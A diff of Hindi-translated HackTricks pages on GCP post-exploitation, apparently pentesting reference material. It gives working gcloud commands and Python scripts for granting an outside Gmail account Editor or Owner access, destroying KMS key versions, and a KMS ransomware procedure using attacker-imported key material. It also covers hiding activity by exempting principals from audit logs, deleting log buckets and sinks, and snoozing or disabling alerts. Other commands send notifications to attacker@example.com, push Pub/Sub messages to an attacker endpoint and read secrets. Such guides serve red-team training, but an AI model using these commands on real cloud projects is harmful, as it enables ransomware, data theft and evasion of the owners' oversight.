[GCP प्रबंधन कंसोल](https://console.cloud.google.com) तक पहुंच **उपयोगकर्ता खातों को प्रदान की जाती है, सेवा खातों को नहीं**। वेब इंटरफेस में लॉग इन करने के लिए, आप **एक Google खाते को पहुंच प्रदान कर सकते हैं** जिसे आप नियंत्रित करते हैं। यह एक सामान्य "**@gmail.com**" खाता हो सकता है, यह **लक्षित संगठन का सदस्य होना आवश्यक नहीं है**।
|
||||
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**.
|
||||
|
||||
हालांकि, एक सामान्य "@gmail.com" खाते को **Owner** की प्राइमिटिव भूमिका **प्रदान करने के लिए**, आपको **वेब कंसोल का उपयोग करना होगा**। यदि आप इसे Editor से ऊपर की अनुमति देने की कोशिश करते हैं, तो `gcloud` त्रुटि देगा।
|
||||
हालाँकि, किसी सामान्य "@gmail.com" खाते को primitive role **Owner** देने के लिए, आपको **वेब कंसोल का उपयोग** करना होगा। `gcloud` तब error देगा अगर आप इसे Editor से ऊपर की permission देने की कोशिश करेंगे।
|
||||
|
||||
आप अपने मौजूदा प्रोजेक्ट को **Editor की प्राइमिटिव भूमिका प्रदान करने के लिए** निम्नलिखित कमांड का उपयोग कर सकते हैं:
|
||||
आप अपने मौजूदा प्रोजेक्ट में किसी उपयोगकर्ता को primitive role **Editor** देने के लिए निम्न कमांड का उपयोग कर सकते हैं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>उपयोगकर्ता को Editor भूमिका दें</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
यदि आप यहाँ सफल होते हैं, तो **वेब इंटरफ़ेस तक पहुँचने** और वहाँ से अन्वेषण करने का प्रयास करें।
|
||||
</details>
|
||||
|
||||
यह **gcloud टूल का उपयोग करके आप असाइन कर सकते हैं सबसे उच्च स्तर** है।
|
||||
यदि आप यहाँ सफल हुए हैं, तो **वेब इंटरफ़ेस तक पहुँचने** और वहां से एक्सप्लोर करने की कोशिश करें।
|
||||
|
||||
यह **सबसे उच्च स्तर** है जिसे आप gcloud tool का उपयोग करके असाइन कर सकते हैं।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+41
-11
@@ -1,10 +1,10 @@
|
||||
# GCP - KMS पोस्ट एक्सप्लॉइटेशन
|
||||
# GCP - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
KMS के बारे में बुनियादी जानकारी प्राप्त करें:
|
||||
KMS के बारे में बुनियादी जानकारी देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
@@ -12,7 +12,11 @@ KMS के बारे में बुनियादी जानकारी
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
इस अनुमति के साथ एक हमलावर KMS संस्करण को नष्ट कर सकता है। ऐसा करने के लिए, आपको पहले कुंजी को निष्क्रिय करना होगा और फिर इसे नष्ट करना होगा:
|
||||
इस permission वाले attacker KMS version को destroy कर सकते हैं। ऐसा करने के लिए पहले आपको key को disable करना होगा और फिर उसे destroy करना होगा:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Key version को disable और destroy करें (Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
# Destroy the key version
|
||||
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
```
|
||||
</details>
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
AWS में एक KMS कुंजी को पूरी तरह से **चुराना** संभव है, KMS संसाधन नीति को संशोधित करके और केवल हमलावर के खाते को कुंजी का उपयोग करने की अनुमति देकर। चूंकि ये संसाधन नीतियाँ GCP में मौजूद नहीं हैं, यह संभव नहीं है।
|
||||
AWS में KMS resource policy को बदलकर और केवल attackers account को key के उपयोग की अनुमति देकर पूरी तरह से **steal a KMS key** करना संभव है। चूंकि ये resource policies GCP में मौजूद नहीं हैं, इसलिए यह संभव नहीं है।
|
||||
|
||||
हालांकि, एक वैश्विक KMS Ransomware करने का एक और तरीका है, जिसमें निम्नलिखित चरण शामिल होंगे:
|
||||
हालाँकि, एक वैश्विक KMS Ransomware करने का एक और तरीका है, जो निम्नलिखित चरणों को शामिल करेगा:
|
||||
|
||||
- एक नई **संस्करण बनाएं कुंजी के साथ एक कुंजी सामग्री** जो हमलावर द्वारा आयात की गई है।
|
||||
- एक नया **version of the key with a key material** बनाएँ जिसे attacker द्वारा import किया गया हो
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- इसे **डिफ़ॉल्ट संस्करण** के रूप में सेट करें (भविष्य के डेटा को एन्क्रिप्ट करने के लिए)
|
||||
- **पुराने डेटा को फिर से एन्क्रिप्ट करें** जो पिछले संस्करण के साथ एन्क्रिप्ट किया गया था, नए के साथ।
|
||||
- **KMS कुंजी को हटाएं**
|
||||
- अब केवल हमलावर, जिसके पास मूल कुंजी सामग्री है, एन्क्रिप्टेड डेटा को डिक्रिप्ट कर सकेगा
|
||||
- इसे **default version** के रूप में सेट करें (भविष्य में एन्क्रिप्ट होने वाले डेटा के लिए)
|
||||
- पहले वर्शन से एन्क्रिप्ट किए गए पुराने डेटा को नए वर्शन के साथ **Re-encrypt older data** करें।
|
||||
- **Delete the KMS key**
|
||||
- अब केवल वही attacker, जिसके पास original key material है, एन्क्रिप्ट किए गए डेटा को decrypt कर सकेगा।
|
||||
|
||||
#### यहां एक नया संस्करण आयात करने और पुराने डेटा को अक्षम/हटाने के चरण हैं:
|
||||
#### यहाँ नए वर्शन को import करने और पुराने डेटा को disable/delete करने के स्टेप्स हैं:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>नया key version import करें और पुराने version को delete करें</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -146,7 +156,13 @@ gcloud kms keys versions destroy \
|
||||
--version 1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>सिमेट्रिक कुंजी का उपयोग करके डेटा एन्क्रिप्ट करें (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import base64
|
||||
@@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt'
|
||||
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
|
||||
print('Ciphertext:', ciphertext)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToSign`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>असिमेट्रिक key के साथ संदेश पर हस्ताक्षर करें (Python)</summary>
|
||||
```python
|
||||
import hashlib
|
||||
from google.cloud import kms
|
||||
@@ -215,7 +237,13 @@ message = 'your-message'
|
||||
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
|
||||
print('Signature:', signature)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToVerify`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>असिमेट्रिक कुंजी के साथ सिग्नेचर सत्यापित करें (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
@@ -242,4 +270,6 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+80
-8
@@ -1,8 +1,8 @@
|
||||
# GCP - Logging Post Exploitation
|
||||
# GCP - लॉगिंग पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## बुनियादी जानकारी
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
@@ -10,21 +10,25 @@
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
{{#endref}}
|
||||
|
||||
निगरानी को बाधित करने के अन्य तरीकों के लिए देखें:
|
||||
मॉनिटरिंग बाधित करने के अन्य तरीकों के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-monitoring-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Default Logging
|
||||
### डिफ़ॉल्ट लॉगिंग
|
||||
|
||||
**डिफ़ॉल्ट रूप से, केवल पढ़ने की क्रियाएँ करने के लिए आपको पकड़ा नहीं जाएगा। अधिक जानकारी के लिए Logging Enum अनुभाग देखें।**
|
||||
**डिफ़ॉल्ट रूप से, केवल पढ़ने वाली क्रियाएँ करने के लिए आपको पकड़ा नहीं जाएगा। अधिक जानकारी के लिए Logging Enum सेक्शन देखें।**
|
||||
|
||||
### Add Excepted Principal
|
||||
### Excepted Principal जोड़ें
|
||||
|
||||
[https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) और [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) पर प्रिंसिपल जोड़ना संभव है ताकि लॉग उत्पन्न न हों। एक हमलावर इसका दुरुपयोग कर सकता है ताकि पकड़ा न जाए।
|
||||
In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) and [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) में principals जोड़ना संभव है ताकि logs उत्पन्न न हों। एक हमलावर इसे दुरुपयोग करके पकड़े जाने से बच सकता है।
|
||||
|
||||
### Read logs - `logging.logEntries.list`
|
||||
### लॉग पढ़ें - `logging.logEntries.list`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लॉग एंट्री पढ़ें</summary>
|
||||
```bash
|
||||
# Read logs
|
||||
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
|
||||
@@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
|
||||
|
||||
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logs.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लॉग प्रविष्टियाँ हटाएँ</summary>
|
||||
```bash
|
||||
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
|
||||
gcloud logging logs delete <log-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### लॉग लिखें - `logging.logEntries.create`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लॉग एंट्री लिखें</summary>
|
||||
```bash
|
||||
# Write a log entry to try to disrupt some system
|
||||
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लॉग बकेट की प्रतिधारण अवधि अपडेट करें</summary>
|
||||
```bash
|
||||
# Set retention period to 1 day (_Required has a fixed one of 400days)
|
||||
|
||||
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लॉग बकेट हटाएं</summary>
|
||||
```bash
|
||||
# Delete log bucket
|
||||
gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.links.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लॉग लिंक हटाएं</summary>
|
||||
```bash
|
||||
# Delete link
|
||||
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लॉगिंग व्यू हटाएँ</summary>
|
||||
```bash
|
||||
# Delete a logging view to remove access to anyone using it
|
||||
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लॉगिंग व्यू को डेटा छिपाने के लिए अपडेट करें</summary>
|
||||
```bash
|
||||
# Update a logging view to hide data
|
||||
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लॉग-आधारित मैट्रिक्स अपडेट करें</summary>
|
||||
```bash
|
||||
# Update log based metrics - logging.logMetrics.update
|
||||
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लॉग-आधारित मेट्रिक्स हटाएँ</summary>
|
||||
```bash
|
||||
# Delete log based metrics - logging.logMetrics.delete
|
||||
gcloud logging metrics delete <metric-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>log sink हटाएँ</summary>
|
||||
```bash
|
||||
# Delete sink - logging.sinks.delete
|
||||
gcloud logging sinks delete <sink-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लॉग सिंक को अपडेट/बाधित करें</summary>
|
||||
```bash
|
||||
# Disable sink - logging.sinks.update
|
||||
gcloud logging sinks update <sink-name> --disabled
|
||||
@@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
|
||||
gcloud logging sinks update SINK_NAME --use-partitioned-tables
|
||||
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+57
-9
@@ -10,7 +10,7 @@
|
||||
../gcp-services/gcp-monitoring-enum.md
|
||||
{{#endref}}
|
||||
|
||||
लॉग को बाधित करने के अन्य तरीकों के लिए देखें:
|
||||
लॉग बाधित करने के अन्य तरीकों के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-logging-post-exploitation.md
|
||||
@@ -18,13 +18,23 @@ gcp-logging-post-exploitation.md
|
||||
|
||||
### `monitoring.alertPolicies.delete`
|
||||
|
||||
एक अलर्ट नीति को हटाएं:
|
||||
एक अलर्ट पॉलिसी हटाएँ:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>अलर्ट पॉलिसी हटाएँ</summary>
|
||||
```bash
|
||||
gcloud alpha monitoring policies delete <policy>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.alertPolicies.update`
|
||||
|
||||
एक अलर्ट नीति को बाधित करें:
|
||||
अलर्ट पॉलिसी को बाधित करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>अलर्ट पॉलिसी बाधित करें</summary>
|
||||
```bash
|
||||
# Disable policy
|
||||
gcloud alpha monitoring policies update <alert-policy> --no-enabled
|
||||
@@ -39,9 +49,15 @@ gcloud alpha monitoring policies update <alert-policy> --set-notification-channe
|
||||
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
|
||||
# or use --policy-from-file <policy-file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.update`
|
||||
|
||||
एक डैशबोर्ड को संशोधित करें ताकि इसे बाधित किया जा सके:
|
||||
इसे बाधित करने के लिए dashboard को संशोधित करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dashboard को बाधित करें</summary>
|
||||
```bash
|
||||
# Disrupt dashboard
|
||||
gcloud monitoring dashboards update <dashboard> --config='''
|
||||
@@ -53,16 +69,28 @@ widgets:
|
||||
content: Hello World
|
||||
'''
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.delete`
|
||||
|
||||
डैशबोर्ड हटाएं:
|
||||
डैशबोर्ड हटाएँ:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>डैशबोर्ड हटाएँ</summary>
|
||||
```bash
|
||||
# Delete dashboard
|
||||
gcloud monitoring dashboards delete <dashboard>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.create`
|
||||
|
||||
अलर्ट उत्पन्न करने से नीतियों को रोकने के लिए एक स्नूज़र बनाएं:
|
||||
snoozer बनाकर पॉलिसियों द्वारा अलर्ट्स जनरेट होने से रोकें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>अलर्ट्स रोकने के लिए snoozer बनाएं</summary>
|
||||
```bash
|
||||
# Stop alerts by creating a snoozer
|
||||
gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
@@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
--start-time="2023-03-01T03:00:00.0-0500" \
|
||||
--end-time="2023-03-07T23:59:59.5-0500"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.update`
|
||||
|
||||
स्नूज़र का समय अपडेट करें ताकि हमलावर की रुचि के समय अलर्ट उत्पन्न न हों:
|
||||
जब attacker रुचि रखता हो तो alerts बनना रोकने के लिए किसी snoozer का timing अपडेट करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>snoozer timing अपडेट करें</summary>
|
||||
```bash
|
||||
# Modify the timing of a snooze
|
||||
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
|
||||
@@ -80,19 +114,33 @@ gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END
|
||||
# odify everything, including affected policies
|
||||
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.delete`
|
||||
|
||||
एक कॉन्फ़िगर किया गया चैनल हटाएँ:
|
||||
कॉन्फ़िगर किए गए चैनल को हटाएँ:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>नोटिफिकेशन चैनल को हटाएँ</summary>
|
||||
```bash
|
||||
# Delete channel
|
||||
gcloud alpha monitoring channels delete <channel>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.update`
|
||||
|
||||
एक चैनल के लेबल को अपडेट करें ताकि इसे बाधित किया जा सके:
|
||||
चैनल के लेबल को अपडेट करके इसे बाधित करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>नोटिफिकेशन चैनल लेबल अपडेट करें</summary>
|
||||
```bash
|
||||
# Delete or update labels, for example email channels have the email indicated here
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+77
-17
@@ -1,4 +1,4 @@
|
||||
# GCP - Pub/Sub पोस्ट एक्सप्लोइटेशन
|
||||
# GCP - Pub/Sub Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,40 +12,68 @@ Pub/Sub के बारे में अधिक जानकारी के
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
एक विषय में एक संदेश प्रकाशित करें, **अप्रत्याशित डेटा भेजने** और अप्रत्याशित कार्यक्षमताओं को ट्रिगर करने या कमजोरियों का लाभ उठाने के लिए उपयोगी:
|
||||
एक topic में संदेश प्रकाशित करना, जो **अनपेक्षित डेटा भेजने** और अनपेक्षित कार्यक्षमताओं को ट्रिगर करने या कमजोरियों का शोषण करने के लिए उपयोगी है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>topic में संदेश प्रकाशित करें</summary>
|
||||
```bash
|
||||
# Publish a message in a topic
|
||||
gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
संदेश प्राप्त करने से एक सदस्यता को रोकने के लिए उपयोगी, शायद पहचान से बचने के लिए।
|
||||
यह किसी subscription को संदेश प्राप्त करने से रोकने के लिए उपयोगी है, शायद पहचान से बचने के लिए।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>subscription को topic से अलग करें</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
सदस्यता को संदेश प्राप्त करने से रोकने के लिए उपयोगी, शायद पहचान से बचने के लिए।\
|
||||
यह संभव है कि एक विषय को हटाया जाए, भले ही उस पर सदस्यताएँ जुड़ी हों।
|
||||
यह subscription को messages प्राप्त करने से रोकने के लिए उपयोगी है, संभवतः detection से बचने के लिए।\
|
||||
यह संभव है कि एक topic को तब भी delete किया जा सके जब उसके साथ subscriptions जुड़े हों।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Delete topic</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
इस अनुमति का उपयोग किसी विषय की सेटिंग को अपडेट करने के लिए करें ताकि इसे बाधित किया जा सके, जैसे `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
इस अनुमति का उपयोग टॉपिक की कुछ सेटिंग अपडेट करने के लिए करें ताकि इसे बाधित किया जा सके, जैसे `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
अपने लिए किसी भी पिछले हमले को करने की अनुमति दें।
|
||||
खुद को अनुमति दें ताकि आप पूर्व के किसी भी attacks को अंजाम दे सकें।
|
||||
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
एक वेब सर्वर में सभी संदेश प्राप्त करें:
|
||||
वेब सर्वर में सभी संदेश प्राप्त करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create push subscription to receive messages</summary>
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
```
|
||||
सदस्यता बनाएं और इसका उपयोग **संदेश खींचने** के लिए करें:
|
||||
</details>
|
||||
|
||||
एक subscription बनाएँ और इसका उपयोग करके **pull messages** प्राप्त करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>pull subscription बनाएँ और messages प्राप्त करें</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -54,26 +82,44 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
## This command will wait for a message to be posted
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**एक सदस्यता हटाना** एक लॉग प्रोसेसिंग सिस्टम या कुछ समान को बाधित करने के लिए उपयोगी हो सकता है:
|
||||
**एक subscription हटाना** लॉग प्रोसेसिंग सिस्टम या इसी तरह की किसी चीज़ को बाधित करने के लिए उपयोगी हो सकता है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>subscription हटाएं</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
इस अनुमति का उपयोग कुछ सेटिंग को अपडेट करने के लिए करें ताकि संदेश एक ऐसी जगह संग्रहीत हों जहाँ आप पहुँच सकते हैं (URL, Big Query तालिका, बकेट) या बस इसे बाधित करने के लिए।
|
||||
इस अनुमति का उपयोग किसी सेटिंग को अपडेट करने के लिए करें ताकि संदेश ऐसी जगह संग्रहीत हों जहाँ आप पहुँच सकें (URL, Big Query table, Bucket) या बस इसे बाधित करने के लिए।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>सब्सक्रिप्शन अपडेट एंडपॉइंट</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
अपने आप को उन हमलों को करने के लिए आवश्यक अनुमतियाँ दें जिनका पहले उल्लेख किया गया था।
|
||||
अपने आपको वे permissions दें जो पहले बताए गए किसी भी attacks को करने के लिए आवश्यक हैं।
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
एक स्कीमा को एक विषय से जोड़ें ताकि संदेश इसे पूरा न करें और इसलिए विषय बाधित हो जाए।\
|
||||
यदि कोई स्कीमा नहीं है, तो आपको एक बनाने की आवश्यकता हो सकती है।
|
||||
एक schema को किसी topic से attach करें ताकि messages उसे पूरा न करें और इसलिए topic बाधित हो जाए।\\
|
||||
यदि कोई schemas नहीं हैं तो आपको एक create करने की आवश्यकता हो सकती है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>schema फ़ाइल बनाएं और उसे topic से attach करें</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -98,23 +144,37 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
--schema=projects/<project-name>/schemas/<topic-id> \
|
||||
--message-encoding=json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
यह ऐसा लग सकता है जैसे आप एक स्कीमा को हटा रहे हैं जिससे आप ऐसे संदेश भेज सकेंगे जो स्कीमा को पूरा नहीं करते। हालाँकि, चूंकि स्कीमा हटा दिया जाएगा, कोई भी संदेश वास्तव में विषय के अंदर नहीं जाएगा। इसलिए यह **व्यर्थ** है:
|
||||
यह ऐसा लग सकता है कि schema को हटाने से आप ऐसे messages भेज पाएँगे जो schema के अनुरूप नहीं हैं। हालाँकि, क्योंकि schema हटाया जाएगा, कोई भी message असल में topic के अंदर प्रवेश नहीं करेगा। तो यह **बेकार** है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Delete schema (उपयोगी नहीं)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
अपने आप को उन हमलों को करने के लिए आवश्यक अनुमतियाँ दें जिनका पहले उल्लेख किया गया था।
|
||||
उन अनुमतियों को खुद को दें जो पहले बताए गए attacks को अंजाम देने के लिए आवश्यक हैं।
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
यह सभी अन-ACK किए गए संदेशों का एक स्नैपशॉट बनाएगा और उन्हें सब्सक्रिप्शन में वापस डाल देगा। एक हमलावर के लिए यह बहुत उपयोगी नहीं है लेकिन यहाँ यह है:
|
||||
यह सभी unACKed messages का एक snapshot बनाएगा और उन्हें subscription में वापस डाल देगा। attacker के लिए ज्यादा उपयोगी नहीं है, पर यहाँ है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Snapshot बनाएं और उस पर seek करें</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
|
||||
--snapshot=YOUR_SNAPSHOT_NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+7
-1
@@ -12,9 +12,15 @@ Secret Manager के बारे में अधिक जानकारी
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
यह आपको सीक्रेट मैनेजर से सीक्रेट पढ़ने की अनुमति देता है और शायद यह विशेषाधिकार बढ़ाने में मदद कर सकता है (इस पर निर्भर करता है कि सीक्रेट के अंदर कौन सी जानकारी संग्रहीत है):
|
||||
यह आपको secret manager से secrets पढ़ने की अनुमति देता है और यह escalate privileges में मदद कर सकता है (निर्भर करता है कि secret के अंदर कौन सी जानकारी संग्रहीत है):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Secret version को एक्सेस करें</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+38
-8
@@ -1,4 +1,4 @@
|
||||
# GCP - सुरक्षा पोस्ट एक्सप्लॉइटेशन
|
||||
# GCP - Security Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
